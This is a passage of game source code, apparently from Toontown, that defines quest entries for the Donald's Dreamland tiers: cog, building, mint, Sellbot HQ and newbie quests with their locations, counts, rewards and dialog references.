ToontownGlobals.SellbotHQ, 3, 6), Any, ToonHQ, Any, NA, DefaultDialog), 5383: (BR_TIER + 2, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 1), Any, ToonHQ, Any, NA, DefaultDialog), 5384: (BR_TIER + 2, Start, (ForemanQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 6101: (DL_TIER, Start, (CogQuest, ToontownGlobals.DonaldsDreamland, 60, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6102: (DL_TIER, Start, (CogQuest, ToontownGlobals.DonaldsDreamland, 65, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6103: (DL_TIER, OBSOLETE, (CogQuest, ToontownGlobals.DonaldsDreamland, 70, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6104: (DL_TIER, Start, (CogQuest, Anywhere, 80, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6105: (DL_TIER, Start, (CogQuest, Anywhere, 90, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6106: (DL_TIER, Start, (CogQuest, Anywhere, 100, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6107: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 6108: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 6109: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 6110: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'hh'), Any, ToonHQ, Any, NA, DefaultDialog), 6111: (DL_TIER, Start, (CogQuest, Anywhere, 15, 'cr'), Any, ToonHQ, Any, NA, DefaultDialog), 6112: (DL_TIER, Start, (CogQuest, Anywhere, 8, 'tbc'), Any, ToonHQ, Any, NA, DefaultDialog), 6113: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 6114: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 6115: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 6116: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'tf'), Any, ToonHQ, Any, NA, DefaultDialog), 6117: (DL_TIER, Start, (CogQuest, Anywhere, 15, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 6118: (DL_TIER, Start, (CogQuest, Anywhere, 8, 'mh'), Any, ToonHQ, Any, NA, DefaultDialog), 6119: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 6120: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 6121: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 6122: (DL_TIER, OBSOLETE, (CogQuest, Anywhere, 25, 'mb'), Any, ToonHQ, Any, NA, DefaultDialog), 6123: (DL_TIER, Start, (CogQuest, Anywhere, 15, 'ls'), Any, ToonHQ, Any, NA, DefaultDialog), 6124: (DL_TIER, Start, (CogQuest, Anywhere, 8, 'rb'), Any, ToonHQ, Any, NA, DefaultDialog), 6125: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 6126: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 6127: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 6128: (DL_TIER, Start, (CogQuest, Anywhere, 25, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 6129: (DL_TIER, Start, (CogQuest, Anywhere, 15, 'le'), Any, ToonHQ, Any, NA, DefaultDialog), 6130: (DL_TIER, Start, (CogQuest, Anywhere, 8, 'bw'), Any, ToonHQ, Any, NA, DefaultDialog), 6131: (DL_TIER, Start, (CogLevelQuest, Anywhere, 50, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6132: (DL_TIER, Start, (CogLevelQuest, Anywhere, 40, 6), Any, ToonHQ, Any, NA, DefaultDialog), 6133: (DL_TIER, Start, (CogLevelQuest, Anywhere, 35, 7), Any, ToonHQ, Any, NA, DefaultDialog), 6134: (DL_TIER, Start, (CogLevelQuest, Anywhere, 30, 8), Any, ToonHQ, Any, NA, DefaultDialog), 6135: (DL_TIER, Start, (CogLevelQuest, Anywhere, 25, 9), Any, ToonHQ, Any, NA, DefaultDialog), 6136: (DL_TIER, Start, (CogLevelQuest, Anywhere, 20, 9), Any, ToonHQ, Any, NA, DefaultDialog), 6137: (DL_TIER, Start, (CogLevelQuest, Anywhere, 15, 9), Any, ToonHQ, Any, NA, DefaultDialog), 6138: (DL_TIER, Start, (CogLevelQuest, Anywhere, 10, 10), Any, ToonHQ, Any, NA, DefaultDialog), 6139: (DL_TIER, Start, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 50, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 6140: (DL_TIER, Start, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 50, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 6141: (DL_TIER, OBSOLETE, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 50, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 6142: (DL_TIER, Start, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 50, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 6143: (DL_TIER, OBSOLETE, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 55, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 6144: (DL_TIER, Start, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 55, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 6145: (DL_TIER, Start, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 55, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 6146: (DL_TIER, Start, (CogTrackQuest, ToontownGlobals.DonaldsDreamland, 55, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 6147: (DL_TIER, OBSOLETE, (CogTrackQuest, Anywhere, 70, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 6148: (DL_TIER, Start, (CogTrackQuest, Anywhere, 70, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 6149: (DL_TIER, Start, (CogTrackQuest, Anywhere, 70, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 6150: (DL_TIER, Start, (CogTrackQuest, Anywhere, 70, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 6151: (DL_TIER, Start, (BuildingQuest, Anywhere, 10, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 6152: (DL_TIER, Start, (BuildingQuest, Anywhere, 6, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6153: (DL_TIER, OBSOLETE, (BuildingQuest, Anywhere, 8, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6154: (DL_TIER, Start, (BuildingQuest, Anywhere, 6, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6155: (DL_TIER, Start, (BuildingQuest, Anywhere, 2, 'm', 5), Any, ToonHQ, Any, NA, DefaultDialog), 6156: (DL_TIER, Start, (BuildingQuest, Anywhere, 2, 's', 5), Any, ToonHQ, Any, NA, DefaultDialog), 6157: (DL_TIER, Start, (BuildingQuest, Anywhere, 2, 'c', 5), Any, ToonHQ, Any, NA, DefaultDialog), 6158: (DL_TIER, Start, (BuildingQuest, Anywhere, 2, 'l', 5), Any, ToonHQ, Any, NA, DefaultDialog), 6160: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 25, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 6161: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 25, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 6162: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 25, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 6163: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 25, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 6164: (DL_TIER, Start, (BuildingNewbieQuest, Anywhere, 2, Any, 1, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 6165: (DL_TIER, Start, (BuildingNewbieQuest, Anywhere, 2, Any, 1, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 6166: (DL_TIER, Start, (BuildingNewbieQuest, Anywhere, 2, Any, 1, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 6167: (DL_TIER, Start, (BuildingNewbieQuest, Anywhere, 2, Any, 1, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 6170: (DL_TIER, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 40, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6171: (DL_TIER, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 45, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6172: (DL_TIER, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 50, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6173: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 30, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6174: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 20, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6175: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 20, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6176: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 15, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6177: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 10, 6), Any, ToonHQ, Any, NA, DefaultDialog), 6178: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 10, 6), Any, ToonHQ, Any, NA, DefaultDialog), 6179: (DL_TIER, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 3), Any, ToonHQ, Any, NA, DefaultDialog), 6180: (DL_TIER, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6181: (DL_TIER, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 3), Any, ToonHQ, Any, NA, DefaultDialog), 6182: (DL_TIER, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6183: (DL_TIER, OBSOLETE, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 20), Any, ToonHQ, Any, NA, DefaultDialog), 6184: (DL_TIER, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 10, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6185: (DL_TIER, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 4, 6), Any, ToonHQ, Any, NA, DefaultDialog), 6186: (DL_TIER, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 3), Any, ToonHQ, Any, NA, DefaultDialog), 6187: (DL_TIER, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6190: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 15, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6191: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 15, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6192: (DL_TIER, Start, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 15, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6193: (DL_TIER, Start, (SkelecogNewbieQuest, ToontownGlobals.SellbotHQ, 3, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6194: (DL_TIER, Start, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 1, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6195: (DL_TIER, Start, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 1, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6196: (DL_TIER, Start, (ForemanNewbieQuest, ToontownGlobals.SellbotFactoryInt, 1, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 6201: (DL_TIER, Start, (VisitQuest,), Any, 9228, NA, 6202, TTLocalizer.QuestDialogDict[6201]), 6202: (DL_TIER, Start, (VisitQuest,), 9228, 9223, NA, 6203, TTLocalizer.QuestDialogDict[6202]), 6203: (DL_TIER, Cont, (DeliverItemQuest, 47), 9223, 9130, NA, 6204, TTLocalizer.QuestDialogDict[6203]), 6204: (DL_TIER, Cont, (CogQuest, 9100, 45, Any), 9130, Same, NA, 6205, TTLocalizer.QuestDialogDict[6204]), 6205: (DL_TIER, Cont, (DeliverItemQuest, 48), Same, 9223, NA, 6206, TTLocalizer.QuestDialogDict[6205]), 6206: (DL_TIER, Cont, (VisitQuest,), 9223, 9228, NA, 6207, TTLocalizer.QuestDialogDict[6206]), 6207: (DL_TIER, Cont, (VisitQuest,), 9228, 9214, NA, 6208, TTLocalizer.QuestDialogDict[6207]), 6208: (DL_TIER, Cont, (RecoverItemQuest, Anywhere, 1, 49, Hard, 'cr'), 9214, Same, NA, 6209, TTLocalizer.QuestDialogDict[6208]), 6209: (DL_TIER, Cont, (VisitQuest,), Same, 9125, NA, 6210, TTLocalizer.QuestDialogDict[6209]), 6210: (DL_TIER, Cont, (RecoverItemQuest, Anywhere, 1, 50, Hard, 'm'), 9125, Same, NA, 6211, TTLocalizer.QuestDialogDict[6210]), 6211: (DL_TIER, Cont, (VisitQuest,), Same, 9228, NA, 6212, TTLocalizer.QuestDialogDict[6211]), 6212: (DL_TIER, Cont, (VisitQuest,), 9228, 9231, NA, 6213, TTLocalizer.QuestDialogDict[6212]), 6213: (DL_TIER, Cont, (RecoverItemQuest, Anywhere, 1, 29, Hard, 'le'), 9231, Same, NA, (6214, 6215), TTLocalizer.QuestDialogDict[6213]), 6214: (DL_TIER, Cont, (CogTrackQuest, 9200, 30, 'm'), Same, Same, NA, 6216, TTLocalizer.QuestDialogDict[6214]), 6215: (DL_TIER, Cont, (CogLevelQuest, 9200, 30, 8), Same, Same, NA, 6216, TTLocalizer.QuestDialogDict[6215]), 6216: (DL_TIER, Cont, (VisitQuest,), Same, 9228, 109, NA, TTLocalizer.QuestDialogDict[6216]), 6217: (DL_TIER, Start, (VisitQuest,), Any, 9003, NA, 6218, TTLocalizer.QuestDialogDict[6217]), 6218: (DL_TIER, Start, (RecoverItemQuest, ToontownGlobals.DonaldsDreamland, 20, 4, Medium, Any), 9003, Same, 705, NA, TTLocalizer.QuestDialogDict[6218]), 6219: (DL_TIER, Start, (VisitQuest,), Any, 9001, NA, 6220, TTLocalizer.QuestDialogDict[6219]), 6220: (DL_TIER, Start, (RecoverItemQuest, ToontownGlobals.DonaldsDreamland, 15, 51, Hard, Any), 9001, Same, 205, NA, TTLocalizer.QuestDialogDict[6220]), 6221: (DL_TIER, Start, (VisitQuest,), Any, 9127, NA, 6222, TTLocalizer.QuestDialogDict[6221]), 6222: (DL_TIER, Start, (BuildingQuest, ToontownGlobals.DonaldsDreamland, 7, Any, 3), 9127, Same, 305, NA, TTLocalizer.QuestDialogDict[6222]), 6301: (DL_TIER, Start, (CogQuest, ToontownGlobals.CashbotHQ, 40, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6302: (DL_TIER, Start, (CogQuest, ToontownGlobals.CashbotHQ, 45, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6303: (DL_TIER, Start, (CogQuest, ToontownGlobals.CashbotHQ, 50, Any), Any, ToonHQ, Any, NA, DefaultDialog), 6304: (DL_TIER, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 30, 7), Any, ToonHQ, Any, NA, DefaultDialog), 6305: (DL_TIER, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 20, 8), Any, ToonHQ, Any, NA, DefaultDialog), 6306: (DL_TIER, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 15, 9), Any, ToonHQ, Any, NA, DefaultDialog), 6307: (DL_TIER, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntA, 12, 10), Any, ToonHQ, Any, NA, DefaultDialog), 6308: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.CashbotMintIntB, 10, 10), Any, ToonHQ, Any, NA, DefaultDialog), 6309: (DL_TIER, OBSOLETE, (CogLevelQuest, ToontownGlobals.CashbotMintIntC, 8, 10), Any, ToonHQ, Any, NA, DefaultDialog), 6310: (DL_TIER, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6311: (DL_TIER, OBSOLETE, (MintQuest, ToontownGlobals.CashbotMintIntB, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6312: (DL_TIER, OBSOLETE, (MintQuest, ToontownGlobals.CashbotMintIntC, 3), Any, ToonHQ, Any, NA, DefaultDialog), 6313: (DL_TIER, Start, (SkelecogQuest, ToontownGlobals.CashbotHQ, 20), Any, ToonHQ, Any, NA, DefaultDialog), 6314: (DL_TIER, Start, (SkelecogLevelQuest, ToontownGlobals.CashbotHQ, 10, 11), Any, ToonHQ, Any, NA, DefaultDialog), 6315: (DL_TIER, Start, (SkelecogLevelQuest, ToontownGlobals.CashbotHQ, 6, 12), Any, ToonHQ, Any, NA, DefaultDialog), 6318: (DL_TIER, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntA, 5), Any, ToonHQ, Any, NA, DefaultDialog), 6319: (DL_TIER, OBSOLETE, (SupervisorQuest, ToontownGlobals.CashbotMintIntB, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6320: (DL_TIER, OBSOLETE, (SupervisorQuest, ToontownGlobals.CashbotMintIntC, 3), Any, ToonHQ, Any, NA, DefaultDialog), 6321: (DL_TIER, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntA, 10, 10), Any, ToonHQ, Any, NA, DefaultDialog), 6322: (DL_TIER, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntA, 8, 10), Any, ToonHQ, Any, NA, DefaultDialog), 6323: (DL_TIER, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6324: (DL_TIER, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 3), Any, ToonHQ, Any, NA, DefaultDialog), 6325: (DL_TIER, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntA, 4), Any, ToonHQ, Any, NA, DefaultDialog), 6326: (DL_TIER, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntA, 3), Any, ToonHQ, Any, NA, DefaultDialog), 7101: (DL_TIER + 1, Start, (CogQuest, Anywhere, 120, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7102: (DL_TIER + 1, Start, (CogQuest, Anywhere, 130, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7103: (DL_TIER + 1, OBSOLETE, (CogQuest, Anywhere, 140, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7104: (DL_TIER + 1, Start, (CogQuest, Anywhere, 160, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7105: (DL_TIER + 1, Start, (CogQuest, Anywhere, 180, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7106: (DL_TIER + 1, Start, (CogQuest, Anywhere, 200, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7107: (DL_TIER + 1, Start, (CogQuest, Anywhere, 70, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 7108: (DL_TIER + 1, Start, (CogQuest, Anywhere, 60, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 7109: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 7110: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'hh'), Any, ToonHQ, Any, NA, DefaultDialog), 7111: (DL_TIER + 1, Start, (CogQuest, Anywhere, 30, 'cr'), Any, ToonHQ, Any, NA, DefaultDialog), 7112: (DL_TIER + 1, Start, (CogQuest, Anywhere, 20, 'tbc'), Any, ToonHQ, Any, NA, DefaultDialog), 7113: (DL_TIER + 1, Start, (CogQuest, Anywhere, 70, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 7114: (DL_TIER + 1, Start, (CogQuest, Anywhere, 60, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 7115: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 7116: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'tf'), Any, ToonHQ, Any, NA, DefaultDialog), 7117: (DL_TIER + 1, Start, (CogQuest, Anywhere, 30, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 7118: (DL_TIER + 1, Start, (CogQuest, Anywhere, 20, 'mh'), Any, ToonHQ, Any, NA, DefaultDialog), 7119: (DL_TIER + 1, Start, (CogQuest, Anywhere, 70, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 7120: (DL_TIER + 1, Start, (CogQuest, Anywhere, 60, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 7121: (DL_TIER + 1, OBSOLETE, (CogQuest, Anywhere, 50, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 7122: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'mb'), Any, ToonHQ, Any, NA, DefaultDialog), 7123: (DL_TIER + 1, Start, (CogQuest, Anywhere, 30, 'ls'), Any, ToonHQ, Any, NA, DefaultDialog), 7124: (DL_TIER + 1, Start, (CogQuest, Anywhere, 20, 'rb'), Any, ToonHQ, Any, NA, DefaultDialog), 7125: (DL_TIER + 1, Start, (CogQuest, Anywhere, 70, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 7126: (DL_TIER + 1, Start, (CogQuest, Anywhere, 60, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 7127: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 7128: (DL_TIER + 1, Start, (CogQuest, Anywhere, 50, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 7129: (DL_TIER + 1, Start, (CogQuest, Anywhere, 30, 'le'), Any, ToonHQ, Any, NA, DefaultDialog), 7130: (DL_TIER + 1, Start, (CogQuest, Anywhere, 20, 'bw'), Any, ToonHQ, Any, NA, DefaultDialog), 7131: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 100, 7), Any, ToonHQ, Any, NA, DefaultDialog), 7132: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 80, 8), Any, ToonHQ, Any, NA, DefaultDialog), 7133: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 60, 9), Any, ToonHQ, Any, NA, DefaultDialog), 7134: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 70, 9), Any, ToonHQ, Any, NA, DefaultDialog), 7135: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 40, 10), Any, ToonHQ, Any, NA, DefaultDialog), 7136: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 50, 10), Any, ToonHQ, Any, NA, DefaultDialog), 7137: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 20, 11), Any, ToonHQ, Any, NA, DefaultDialog), 7138: (DL_TIER + 1, Start, (CogLevelQuest, Anywhere, 30, 11), Any, ToonHQ, Any, NA, DefaultDialog), 7139: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 100, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 7140: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 100, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 7141: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 100, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 7142: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 100, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 7143: (DL_TIER + 1, OBSOLETE, (CogTrackQuest, Anywhere, 120, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 7144: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 120, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 7145: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 120, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 7146: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 120, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 7147: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 140, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 7148: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 140, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 7149: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 140, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 7150: (DL_TIER + 1, Start, (CogTrackQuest, Anywhere, 140, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 7151: (DL_TIER + 1, Start, (BuildingQuest, Anywhere, 20, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 7152: (DL_TIER + 1, OBSOLETE, (BuildingQuest, Anywhere, 10, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 7153: (DL_TIER + 1, Start, (BuildingQuest, Anywhere, 10, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 7154: (DL_TIER + 1, Start, (BuildingQuest, Anywhere, 10, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 7155: (DL_TIER + 1, OBSOLETE, (BuildingQuest, Anywhere, 5, 'm', 5), Any, ToonHQ, Any, NA, DefaultDialog), 7156: (DL_TIER + 1, Start, (BuildingQuest, Anywhere, 5, 's', 5), Any, ToonHQ, Any, NA, DefaultDialog), 7157: (DL_TIER + 1, Start, (BuildingQuest, Anywhere, 5, 'c', 5), Any, ToonHQ, Any, NA, DefaultDialog), 7158: (DL_TIER + 1, Start, (BuildingQuest, Anywhere, 5, 'l', 5), Any, ToonHQ, Any, NA, DefaultDialog), 7160: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 35, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 7161: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 35, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 7162: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 35, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 7163: (DL_TIER + 1, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 35, Any, NEWBIE_HP), Any, ToonHQ, 607, NA, DefaultDialog), 7164: (DL_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 2, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 7165: (DL_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 2, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 7166: (DL_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 2, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 7167: (DL_TIER + 1, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 2, NEWBIE_HP), Any, ToonHQ, 608, NA, DefaultDialog), 7170: (DL_TIER + 1, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 80, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7171: (DL_TIER + 1, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 90, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7172: (DL_TIER + 1, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 100, Any), Any, ToonHQ, Any, NA, DefaultDialog), 7173: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 50, 4), Any, ToonHQ, Any, NA, DefaultDialog), 7174: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 35, 5), Any, ToonHQ, Any, NA, DefaultDialog), 7175: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 35, 5), Any, ToonHQ, Any, NA, DefaultDialog), 7176: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 30, 5), Any, ToonHQ, Any, NA, DefaultDialog), 7177: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 20, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7178: (DL_TIER + 1, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 20, 6), Any, ToonHQ, Any, NA, DefaultDialog), 7179: 